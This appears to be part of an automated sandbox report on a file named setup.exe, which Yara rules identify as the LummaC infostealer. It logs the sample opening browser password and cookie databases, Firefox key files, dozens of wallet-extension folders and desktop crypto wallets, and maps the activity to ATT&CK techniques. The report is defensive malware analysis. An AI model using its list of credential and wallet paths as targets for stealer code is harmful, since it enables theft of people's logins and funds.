Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\setup.exe

File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000000.00000003.2223164256.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2222949494.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2222778947.0000000000726000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: setup.exe PID: 3448, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: setup.exe PID: 3448, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	121 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	22 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
